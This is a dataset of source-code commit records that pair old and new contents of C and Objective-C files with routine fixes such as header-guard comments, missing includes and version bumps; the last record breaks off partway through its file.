{"commit":"09123fbb1e5deb2724ae7b41e567814d251ea98a","old_file":"libphodav\/phodav-path.h","new_file":"libphodav\/phodav-path.h","old_contents":"\/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2; -*- *\/\n\/*\n * Copyright (C) 2014 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#ifndef __PHODAV_PATH_H__\n#define __PHODAV_PATH_H__\n\n#include \"phodav-priv.h\"\n\nG_BEGIN_DECLS\n\nstruct _Path\n{\n  gchar         *path;\n  GList         *locks;\n  guint32        refs;\n};\n\nPath *                  path_ref                    (Path *path);\nvoid                    path_unref                  (Path *path);\nvoid                    path_remove_lock            (Path *path, DAVLock *lock);\nvoid                    path_add_lock               (Path *path, DAVLock *lock);\n\nG_END_DECLS\n\n#endif \/* __PHODAV_LOCK_H__ *\/\n","new_contents":"\/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2; -*- *\/\n\/*\n * Copyright (C) 2014 Red Hat, Inc.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#ifndef __PHODAV_PATH_H__\n#define __PHODAV_PATH_H__\n\n#include \"phodav-priv.h\"\n\nG_BEGIN_DECLS\n\nstruct _Path\n{\n  gchar         *path;\n  GList         *locks;\n  guint32        refs;\n};\n\nPath *                  path_ref                    (Path *path);\nvoid                    path_unref                  (Path *path);\nvoid                    path_remove_lock            (Path *path, DAVLock *lock);\nvoid                    path_add_lock               (Path *path, DAVLock *lock);\n\nG_END_DECLS\n\n#endif \/* __PHODAV_PATH_H__ *\/\n","subject":"Fix the wrong comment on the header guard","message":"libphodav: Fix the wrong comment on the header guard\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/phodav,GNOME\/phodav"}
{"commit":"9c5c5b5cecbff8a89b7813175e46e89696f06fd8","old_file":"src\/exercise201.c","new_file":"src\/exercise201.c","old_contents":"","new_contents":"\/* A solution to Exercise 2-1 in The C Programming Language (Second Edition).\n *\/\n\n#include <float.h>\n#include <limits.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main(void)\n{\n  puts(\"Using macros from standard headers:\");\n  printf(\"  Range of \\\"char\\\": %d to %d\\n\", SCHAR_MIN, SCHAR_MAX);\n  printf(\"  Range of \\\"unsigned char\\\": %d to %u\\n\", 0, UCHAR_MAX);\n  printf(\"  Range of \\\"short\\\": %d to %d\\n\", SHRT_MIN, SHRT_MAX);\n  printf(\"  Range of \\\"unsigned short\\\": %d to %u\\n\", 0, USHRT_MAX);\n  printf(\"  Range of \\\"int\\\": %d to %d\\n\", INT_MIN, INT_MAX);\n  printf(\"  Range of \\\"unsigned int\\\": %d to %u\\n\", 0, UINT_MAX);\n  printf(\"  Range of \\\"long\\\": %ld to %ld\\n\", LONG_MIN, LONG_MAX);\n  printf(\"  Range of \\\"unsigned long\\\": %d to %lu\\n\", 0, ULONG_MAX);\n  printf(\"  Range of \\\"float\\\": %e to %e\\n\", FLT_MIN, FLT_MAX);\n  printf(\"  Range of \\\"double\\\": %e to %e\\n\", DBL_MIN, DBL_MAX);\n  printf(\"  Range of \\\"long double\\\": %Le to %Le\\n\", LDBL_MIN, LDBL_MAX);\n  \/* TODO: Compute ranges. *\/\n  return EXIT_SUCCESS;\n}\n","subject":"Add solution to Exercise 2-1.","message":"Add solution to Exercise 2-1.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"2e7c8aee37e5a269e97e20ea8ebbc3a632c8c0eb","old_file":"src\/voxrnd\/local-loop.c","new_file":"src\/voxrnd\/local-loop.c","old_contents":"#include \"local-loop.h\"\n#include \"..\/voxtrees\/search.h\"\n\nvoid vox_local_loop (struct vox_node *tree, int n, void (*action) (vox_rnd_context*), \\\n                     void (*inc) (vox_rnd_context*), vox_rnd_context *ctx)\n{\n    int i, state, pn;\n    int depth = 1;\n    vox_tree_path path;\n\n    pn = vox_ray_tree_intersection (tree, ctx->origin, ctx->dir, ctx->inter, 1, path);\n    state = pn;\n    if (state) action (ctx);\n    inc (ctx);\n\n    for (i=0; i<n; i++)\n    {\n        if (state)\n        {\n            depth = vox_local_rays_tree_intersection (path, ctx->origin, ctx->dir, ctx->inter, depth, pn);\n            state = depth;\n        }\n        if (!(state)) depth = vox_ray_tree_intersection (tree, ctx->origin, ctx->dir, ctx->inter, 1, path);\n        \n        if (depth) action (ctx);\n        inc (ctx);\n    }\n}\n","new_contents":"#include \"local-loop.h\"\n#include \"..\/voxtrees\/search.h\"\n\nvoid vox_local_loop (struct vox_node *tree, int n, void (*action) (vox_rnd_context*), \\\n                     void (*inc) (vox_rnd_context*), vox_rnd_context *ctx)\n{\n    int i, state, pn;\n    int depth = 1;\n    vox_tree_path path;\n\n    pn = vox_ray_tree_intersection (tree, ctx->origin, ctx->dir, ctx->inter, 1, path);\n    state = pn;\n    if (state) action (ctx);\n    inc (ctx);\n\n    for (i=1; i<n; i++)\n    {\n        if (state)\n        {\n            depth = vox_local_rays_tree_intersection (path, ctx->origin, ctx->dir, ctx->inter, depth, pn);\n            state = depth;\n        }\n        if (!(state)) depth = vox_ray_tree_intersection (tree, ctx->origin, ctx->dir, ctx->inter, 1, path);\n        \n        if (depth) action (ctx);\n        inc (ctx);\n    }\n}\n","subject":"Make renderer to work properly","message":"Make renderer to work properly\n","lang":"C","license":"bsd-2-clause","repos":"shamazmazum\/voxvision,shamazmazum\/voxvision"}
{"commit":"e6077cd5fe8c9bab610f6fb3fe2437967f71f607","old_file":"build\/sigfw.c","new_file":"build\/sigfw.c","old_contents":"\/*\n * This program handles SIGINT and forwards it to another process.\n * It is intended to be run as PID 1.\n *\n * Docker starts processes with \"docker run\" as PID 1.\n * On Linux, the default signal handler for PID 1 ignores any signals.\n * Therefore Ctrl-C aka SIGINT is ignored per default.\n *\/\n\n#include <signal.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n\nint pid = 0;\n\nvoid\nhandle_sigint (int signum)\n{\n  if(pid)\n    kill(pid, SIGINT);\n}\n\nint main(int argc, char *argv[]){\n  struct sigaction new_action;\n  int status = -1;\n\n  \/* Set up the structure to specify the new action. *\/\n  new_action.sa_handler = handle_sigint;\n  sigemptyset (&new_action.sa_mask);\n  new_action.sa_flags = 0;\n\n  sigaction (SIGINT, &new_action, (void*)0);\n\n  pid = fork();\n  if(pid){\n    wait(&status);\n    return WEXITSTATUS(status);\n  }else{\n    status = execvp(argv[1], &argv[1]);\n    perror(\"exec\");\n    return status;\n  }\n}\n","new_contents":"\/*\n * This program handles SIGINT and forwards it to another process.\n * It is intended to be run as PID 1.\n *\n * Docker starts processes with \"docker run\" as PID 1.\n * On Linux, the default signal handler for PID 1 ignores any signals.\n * Therefore Ctrl-C aka SIGINT is ignored per default.\n *\/\n\n#include <unistd.h>\n#include <stdio.h>\n#include <signal.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n\nint pid = 0;\n\nvoid\nhandle_sigint (int signum)\n{\n  if(pid)\n    kill(pid, SIGINT);\n}\n\nint main(int argc, char *argv[]){\n  struct sigaction new_action;\n  int status = -1;\n\n  \/* Set up the structure to specify the new action. *\/\n  new_action.sa_handler = handle_sigint;\n  sigemptyset (&new_action.sa_mask);\n  new_action.sa_flags = 0;\n\n  sigaction (SIGINT, &new_action, (void*)0);\n\n  pid = fork();\n  if(pid){\n    wait(&status);\n    return WEXITSTATUS(status);\n  }else{\n    status = execvp(argv[1], &argv[1]);\n    perror(\"exec\");\n    return status;\n  }\n}\n","subject":"Add missing includes for fork() and perror()","message":"Add missing includes for fork() and perror()\n","lang":"C","license":"mit","repos":"larskanis\/rake-compiler-dock,rake-compiler\/rake-compiler-dock,rake-compiler\/rake-compiler-dock,larskanis\/rake-compiler-dock,larskanis\/rake-compiler-dock,rake-compiler\/rake-compiler-dock,rake-compiler\/rake-compiler-dock,rake-compiler\/rake-compiler-dock"}
{"commit":"59409c9a9eca18531d314a42d802a610617f4f1b","old_file":"Src\/Utils.c","new_file":"Src\/Utils.c","old_contents":"\/**********************************************************************\r\n *\r\n * PROJECT:\t\tPlatform library\r\n * FILE:\t\tUtils.c\r\n * LICENCE:\t\tSee Licence.txt\r\n * PURPOSE:\t\tVarious platform independent utility functions.\r\n *\r\n *\t\t\t\t(c) Tuomo Jauhiainen 2013\r\n *\r\n **********************************************************************\/\r\n\r\n#include \"Platform\/Utils.h\"\r\n\r\n#ifdef _WIN32\r\n\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\/\/ Win32 implementation\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\r\n#include <direct.h>\r\n\r\nchar* get_working_directory( char* buffer, size_t len )\r\n{\r\n\treturn _getcwd( buffer, (int)len );\r\n}\r\n\r\nvoid exit_app_with_error( const char_t* errormsg )\r\n{\r\n\tif ( errormsg && *errormsg )\r\n\t{\r\n\t\tMessageBox( 0, errormsg, \"Error\", MB_OK );\r\n\t}\r\n\r\n\tSetForegroundWindow( HWND_DESKTOP );\r\n\tExitProcess( 1 );\r\n}\r\n\r\n#else\r\n\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\/\/ POSIX implementation\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\r\n#include <unistd.h>\r\n#include <stdlib.h>\r\n\r\nchar* get_working_directory( char* buffer, size_t len )\r\n{\r\n\treturn getcwd( buffer, len );\r\n}\r\n\r\nvoid exit_app_with_error( const char_t* errormsg )\r\n{\r\n\texit( EXIT_FAILURE );\r\n}\r\n\r\n#endif\r\n","new_contents":"\/**********************************************************************\r\n *\r\n * PROJECT:\t\tPlatform library\r\n * FILE:\t\tUtils.c\r\n * LICENCE:\t\tSee Licence.txt\r\n * PURPOSE:\t\tVarious platform independent utility functions.\r\n *\r\n *\t\t\t\t(c) Tuomo Jauhiainen 2013\r\n *\r\n **********************************************************************\/\r\n\r\n#include \"Platform\/Utils.h\"\r\n\r\n#ifdef _WIN32\r\n\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\/\/ Win32 implementation\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\r\n#include <direct.h>\r\n\r\nchar* get_working_directory( char* buffer, size_t len )\r\n{\r\n\treturn _getcwd( buffer, (int)len );\r\n}\r\n\r\nvoid exit_app_with_error( const char_t* errormsg )\r\n{\r\n\tif ( errormsg && *errormsg )\r\n\t{\r\n\t\tMessageBox( 0, errormsg, \"Error\", MB_OK );\r\n\t}\r\n\r\n\tExitProcess( 1 );\r\n}\r\n\r\n#else\r\n\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\/\/ POSIX implementation\r\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\r\n#include <unistd.h>\r\n#include <stdlib.h>\r\n\r\nchar* get_working_directory( char* buffer, size_t len )\r\n{\r\n\treturn getcwd( buffer, len );\r\n}\r\n\r\nvoid exit_app_with_error( const char_t* errormsg )\r\n{\r\n\texit( EXIT_FAILURE );\r\n}\r\n\r\n#endif\r\n","subject":"Fix warnings and errors brought up by VS2012 code analyzer.","message":"Fix warnings and errors brought up by VS2012 code analyzer.\n","lang":"C","license":"mit","repos":"teejii88\/platform,teejii88\/platform"}
{"commit":"bfa9ab6178e8ca11ff9db88f750f7b8ab2dd1bf6","old_file":"UIViewControllerTest\/UIViewControllerTest\/ViewController.h","new_file":"UIViewControllerTest\/UIViewControllerTest\/ViewController.h","old_contents":"\/**************************************************************************************************\n * File name    : ViewController.h\n * Description  : Define the ViewController class.\n * Creator      : Frederick Hsu\n * Creation date: Thu.  23 Feb. 2017\n * Copyright(C  2017    All rights reserved.\n *\n **************************************************************************************************\/\n\n#import <UIKit\/UIKit.h>\n\n@interface ViewController : UIViewController\n\n    + (void)initialize;\n    - (instancetype)init;\n    - (instancetype)initWithCoder:(NSCoder *)coder;\n    - (void)awakeFromNib;\n    - (void)loadView;\n    - (void)viewDidLoad;\n    - (void)viewWillLayoutSubviews;\n    - (void)viewDidLayoutSubviews;\n    - (void)didReceiveMemoryWarning;\n    - (void)viewDidAppear:(BOOL)animated;\n    - (void)viewWillAppear:(BOOL)animated;\n    - (void)viewWillDisappear:(BOOL)animated;\n    - (void)viewDidDisappear:(BOOL)animated;\n    - (void)dealloc;\n\n    - (void)changeColor;\n\n@end\n\n","new_contents":"\/**************************************************************************************************\n * File name    : ViewController.h\n * Description  : Define the ViewController class.\n * Creator      : Frederick Hsu\n * Creation date: Thu.  23 Feb. 2017\n * Copyright(C  2017    All rights reserved.\n *\n **************************************************************************************************\/\n\n#import <UIKit\/UIKit.h>\n\n@interface ViewController : UIViewController\n\n    @property (atomic, readwrite) UILabel *switchOnLabel;\n    @property (atomic, readwrite) UILabel *switchOffLabel;\n\n    + (void)initialize;\n    - (instancetype)init;\n    - (instancetype)initWithCoder:(NSCoder *)coder;\n    - (void)awakeFromNib;\n    - (void)loadView;\n    - (void)viewDidLoad;\n    - (void)viewWillLayoutSubviews;\n    - (void)viewDidLayoutSubviews;\n    - (void)didReceiveMemoryWarning;\n    - (void)viewDidAppear:(BOOL)animated;\n    - (void)viewWillAppear:(BOOL)animated;\n    - (void)viewWillDisappear:(BOOL)animated;\n    - (void)viewDidDisappear:(BOOL)animated;\n    - (void)dealloc;\n\n    - (void)changeColor;\n    - (void)changeHint:(UISwitch *)userSwitch;\n\n@end\n\n","subject":"Insert 2 UILabel as property : *switchOnLabel, *switchOffLabel, allow the action function - (void)changeHint:(UISwitch *)userSwitch; to access them.","message":"Insert 2 UILabel as property : *switchOnLabel, *switchOffLabel, allow the action function - (void)changeHint:(UISwitch *)userSwitch; to access them.\n","lang":"C","license":"apache-2.0","repos":"Frederick-Hsu\/iOS_Objective_C_Development,Frederick-Hsu\/iOS_Objective_C_Development"}
{"commit":"4c73133037265abea9f8c6706197fbed6326630b","old_file":"Utilities\/gdcm\/Utilities\/gdcm_zlib.h","new_file":"Utilities\/gdcm\/Utilities\/gdcm_zlib.h","old_contents":"\/*=========================================================================\n\n  Program: GDCM (Grassroots DICOM). A DICOM library\n  Module:  $URL$\n\n  Copyright (c) 2006-2010 Mathieu Malaterre\n  All rights reserved.\n  See Copyright.txt or http:\/\/gdcm.sourceforge.net\/Copyright.html for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#ifndef GDCM_ZLIB_H\n#define GDCM_ZLIB_H\n\n\/* Use the zlib library configured for gdcm.  *\/\n#include \"gdcmTypes.h\"\n#ifdef GDCM_USE_SYSTEM_ZLIB\n\/\/ $ dpkg -S \/usr\/include\/zlib.h\n\/\/ zlib1g-dev: \/usr\/include\/zlib.h\n# include <zlib.h>\n#else\n# include <gdcmzlib\/zlib.h>\n#endif\n\n#endif\n","new_contents":"\/*=========================================================================\n\n  Program: GDCM (Grassroots DICOM). A DICOM library\n  Module:  $URL$\n\n  Copyright (c) 2006-2010 Mathieu Malaterre\n  All rights reserved.\n  See Copyright.txt or http:\/\/gdcm.sourceforge.net\/Copyright.html for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n#ifndef GDCM_ZLIB_H\n#define GDCM_ZLIB_H\n\n\/* Use the zlib library configured for gdcm.  *\/\n#include \"gdcmTypes.h\"\n#ifdef GDCM_USE_SYSTEM_ZLIB\n\/\/ $ dpkg -S \/usr\/include\/zlib.h\n\/\/ zlib1g-dev: \/usr\/include\/zlib.h\n# include <itk_zlib.h>\n#else\n# include <gdcmzlib\/zlib.h>\n#endif\n\n#endif\n","subject":"Make sure to use proper name mangling","message":"Make sure to use proper name mangling\n","lang":"C","license":"apache-2.0","repos":"ajjl\/ITK,vfonov\/ITK,hinerm\/ITK,richardbeare\/ITK,LucHermitte\/ITK,fedral\/ITK,LucHermitte\/ITK,atsnyder\/ITK,spinicist\/ITK,LucHermitte\/ITK,blowekamp\/ITK,rhgong\/itk-with-dom,spinicist\/ITK,LucasGandel\/ITK,fuentesdt\/InsightToolkit-dev,daviddoria\/itkHoughTransform,heimdali\/ITK,eile\/ITK,jcfr\/ITK,CapeDrew\/DCMTK-ITK,fuentesdt\/InsightToolkit-dev,hendradarwin\/ITK,hinerm\/ITK,CapeDrew\/DCMTK-ITK,fbudin69500\/ITK,PlutoniumHeart\/ITK,zachary-williamson\/ITK,zachary-williamson\/ITK,atsnyder\/ITK,BlueBrain\/ITK,blowekamp\/ITK,fbudin69500\/ITK,hjmjohnson\/ITK,richardbeare\/ITK,paulnovo\/ITK,hjmjohnson\/ITK,msmolens\/ITK,richardbeare\/ITK,hjmjohnson\/ITK,malaterre\/ITK,atsnyder\/ITK,stnava\/ITK,ajjl\/ITK,BRAINSia\/ITK,BRAINSia\/ITK,cpatrick\/ITK-RemoteIO,stnava\/ITK,ajjl\/ITK,hinerm\/ITK,fuentesdt\/InsightToolkit-dev,jcfr\/ITK,BRAINSia\/ITK,daviddoria\/itkHoughTransform,thewtex\/ITK,CapeDrew\/DITK,CapeDrew\/DITK,CapeDrew\/DITK,zachary-williamson\/ITK,msmolens\/ITK,spinicist\/ITK,hjmjohnson\/ITK,spinicist\/ITK,fbudin69500\/ITK,vfonov\/ITK,daviddoria\/itkHoughTransform,eile\/ITK,richardbeare\/ITK,CapeDrew\/DCMTK-ITK,vfonov\/ITK,BlueBrain\/ITK,daviddoria\/itkHoughTransform,BlueBrain\/ITK,hinerm\/ITK,blowekamp\/ITK,LucasGandel\/ITK,PlutoniumHeart\/ITK,InsightSoftwareConsortium\/ITK,itkvideo\/ITK,fedral\/ITK,LucHermitte\/ITK,thewtex\/ITK,GEHC-Surgery\/ITK,GEHC-Surgery\/ITK,hinerm\/ITK,fuentesdt\/InsightToolkit-dev,atsnyder\/ITK,itkvideo\/ITK,fbudin69500\/ITK,paulnovo\/ITK,eile\/ITK,msmolens\/ITK,jcfr\/ITK,CapeDrew\/DCMTK-ITK,PlutoniumHeart\/ITK,fedral\/ITK,CapeDrew\/DITK,fuentesdt\/InsightToolkit-dev,CapeDrew\/DITK,GEHC-Surgery\/ITK,PlutoniumHeart\/ITK,heimdali\/ITK,richardbeare\/ITK,msmolens\/ITK,jmerkow\/ITK,PlutoniumHeart\/ITK,malaterre\/ITK,jmerkow\/ITK,BlueBrain\/ITK,hjmjohnson\/ITK,cpatrick\/ITK-RemoteIO,CapeDrew\/DITK,itkvideo\/ITK,itkvideo\/ITK,LucHermitte\/ITK,wkjeong\/ITK,hjmjohnson\/ITK,msmolens\/ITK,jcfr\/ITK,hendradarwin\/ITK,vfonov\/ITK,GEHC-Surgery\/ITK,ajjl\/ITK,richardbeare\/ITK,jcfr\/ITK,cpatrick\/ITK-RemoteIO,rhgong\/itk-with-dom,spinicist\/ITK,hendradarwin\/ITK,zachary-williamson\/ITK,jmerkow\/ITK,thewtex\/ITK,stnava\/ITK,fuentesdt\/InsightToolkit-dev,atsnyder\/ITK,spinicist\/ITK,blowekamp\/ITK,eile\/ITK,thewtex\/ITK,fedral\/ITK,malaterre\/ITK,msmolens\/ITK,InsightSoftwareConsortium\/ITK,daviddoria\/itkHoughTransform,LucasGandel\/ITK,hinerm\/ITK,BRAINSia\/ITK,heimdali\/ITK,jmerkow\/ITK,atsnyder\/ITK,daviddoria\/itkHoughTransform,heimdali\/ITK,hinerm\/ITK,InsightSoftwareConsortium\/ITK,zachary-williamson\/ITK,LucHermitte\/ITK,stnava\/ITK,msmolens\/ITK,daviddoria\/itkHoughTransform,fedral\/ITK,CapeDrew\/DITK,biotrump\/ITK,stnava\/ITK,GEHC-Surgery\/ITK,ajjl\/ITK,Kitware\/ITK,LucHermitte\/ITK,BlueBrain\/ITK,InsightSoftwareConsortium\/ITK,biotrump\/ITK,thewtex\/ITK,BlueBrain\/ITK,jmerkow\/ITK,GEHC-Surgery\/ITK,cpatrick\/ITK-RemoteIO,InsightSoftwareConsortium\/ITK,InsightSoftwareConsortium\/ITK,thewtex\/ITK,rhgong\/itk-with-dom,zachary-williamson\/ITK,blowekamp\/ITK,BRAINSia\/ITK,itkvideo\/ITK,atsnyder\/ITK,CapeDrew\/DCMTK-ITK,wkjeong\/ITK,ajjl\/ITK,cpatrick\/ITK-RemoteIO,eile\/ITK,malaterre\/ITK,BRAINSia\/ITK,paulnovo\/ITK,cpatrick\/ITK-RemoteIO,paulnovo\/ITK,itkvideo\/ITK,GEHC-Surgery\/ITK,fedral\/ITK,fedral\/ITK,rhgong\/itk-with-dom,vfonov\/ITK,eile\/ITK,spinicist\/ITK,zachary-williamson\/ITK,eile\/ITK,richardbeare\/ITK,jcfr\/ITK,blowekamp\/ITK,LucHermitte\/ITK,hendradarwin\/ITK,Kitware\/ITK,fuentesdt\/InsightToolkit-dev,malaterre\/ITK,GEHC-Surgery\/ITK,fuentesdt\/InsightToolkit-dev,rhgong\/itk-with-dom,jmerkow\/ITK,atsnyder\/ITK,BlueBrain\/ITK,wkjeong\/ITK,CapeDrew\/DCMTK-ITK,wkjeong\/ITK,spinicist\/ITK,daviddoria\/itkHoughTransform,blowekamp\/ITK,fbudin69500\/ITK,rhgong\/itk-with-dom,itkvideo\/ITK,paulnovo\/ITK,fedral\/ITK,Kitware\/ITK,heimdali\/ITK,biotrump\/ITK,eile\/ITK,thewtex\/ITK,biotrump\/ITK,cpatrick\/ITK-RemoteIO,stnava\/ITK,paulnovo\/ITK,ajjl\/ITK,LucasGandel\/ITK,biotrump\/ITK,fbudin69500\/ITK,InsightSoftwareConsortium\/ITK,LucasGandel\/ITK,CapeDrew\/DCMTK-ITK,hjmjohnson\/ITK,BlueBrain\/ITK,zachary-williamson\/ITK,wkjeong\/ITK,biotrump\/ITK,jmerkow\/ITK,zachary-williamson\/ITK,heimdali\/ITK,wkjeong\/ITK,hinerm\/ITK,rhgong\/itk-with-dom,ajjl\/ITK,Kitware\/ITK,malaterre\/ITK,fuentesdt\/InsightToolkit-dev,hendradarwin\/ITK,wkjeong\/ITK,Kitware\/ITK,malaterre\/ITK,malaterre\/ITK,vfonov\/ITK,heimdali\/ITK,biotrump\/ITK,hendradarwin\/ITK,msmolens\/ITK,paulnovo\/ITK,Kitware\/ITK,vfonov\/ITK,BRAINSia\/ITK,atsnyder\/ITK,jcfr\/ITK,wkjeong\/ITK,hendradarwin\/ITK,CapeDrew\/DCMTK-ITK,PlutoniumHeart\/ITK,biotrump\/ITK,daviddoria\/itkHoughTransform,rhgong\/itk-with-dom,eile\/ITK,CapeDrew\/DCMTK-ITK,jmerkow\/ITK,hendradarwin\/ITK,fbudin69500\/ITK,LucasGandel\/ITK,LucasGandel\/ITK,malaterre\/ITK,itkvideo\/ITK,fbudin69500\/ITK,hinerm\/ITK,spinicist\/ITK,LucasGandel\/ITK,Kitware\/ITK,CapeDrew\/DITK,PlutoniumHeart\/ITK,jcfr\/ITK,itkvideo\/ITK,paulnovo\/ITK,cpatrick\/ITK-RemoteIO,blowekamp\/ITK,stnava\/ITK,CapeDrew\/DITK,heimdali\/ITK,stnava\/ITK,stnava\/ITK,vfonov\/ITK,PlutoniumHeart\/ITK,vfonov\/ITK"}
{"commit":"d1b620337221a069e3d13123cbb2fe891130101e","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       1\n#define CLIENT_VERSION_MINOR       2\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       1\n#define CLIENT_VERSION_MINOR       2\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       1\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Update Client Version for New Code Base","message":"Update Client Version for New Code Base","lang":"C","license":"mit","repos":"summitcoindev\/summitcoin,summitcoindev\/summitcoin,summitcoin\/summitcoin,summitcoin\/summitcoin,summitcoin\/summitcoin,summitcoindev\/summitcoin,summitcoin\/summitcoin,summitcoindev\/summitcoin,summitcoindev\/summitcoin,summitcoin\/summitcoin"}
{"commit":"7afe444fe1c4b1af6035f9d6b72276043eac35ab","old_file":"3RVX\/OSD\/OSD.h","new_file":"3RVX\/OSD\/OSD.h","old_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#include <Windows.h>\n\n#include \"..\/HotkeyProcessor.h\"\n#include \"..\/MeterWnd\/MeterWnd.h\"\n#include \"..\/Settings.h\"\n#include \"..\/Window.h\"\n#include \"OSDType.h\"\n\nclass Monitor;\n\nclass OSD : HotkeyProcessor, protected Window {\npublic:\n    OSD(LPCWSTR className, HINSTANCE hInstance = NULL);\n\n    virtual void Hide() = 0;\n    virtual void ProcessHotkeys(HotkeyInfo &hki);\n\n    bool Enabled();\n    void Enabled(bool enabled);\n\nprotected:\n    HWND _masterWnd;\n    Settings *_settings;\n\n    void HideOthers(OSDType except);\n\n    void InitMeterWnd(MeterWnd &mWnd);\n\n    std::vector<Monitor> ActiveMonitors();\n    void PositionWindow(Monitor monitor, LayeredWnd &lWnd);\n    void CenterWindowX(Monitor monitor, LayeredWnd &lWnd);\n    void CenterWindowY(Monitor monitor, LayeredWnd &lWnd);\n\n    virtual LRESULT WndProc(HWND hWnd, UINT message,\n        WPARAM wParam, LPARAM lParam);\n\nprivate:\n    bool _enabled;\n};","new_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#include <Windows.h>\n\n#include \"..\/HotkeyProcessor.h\"\n#include 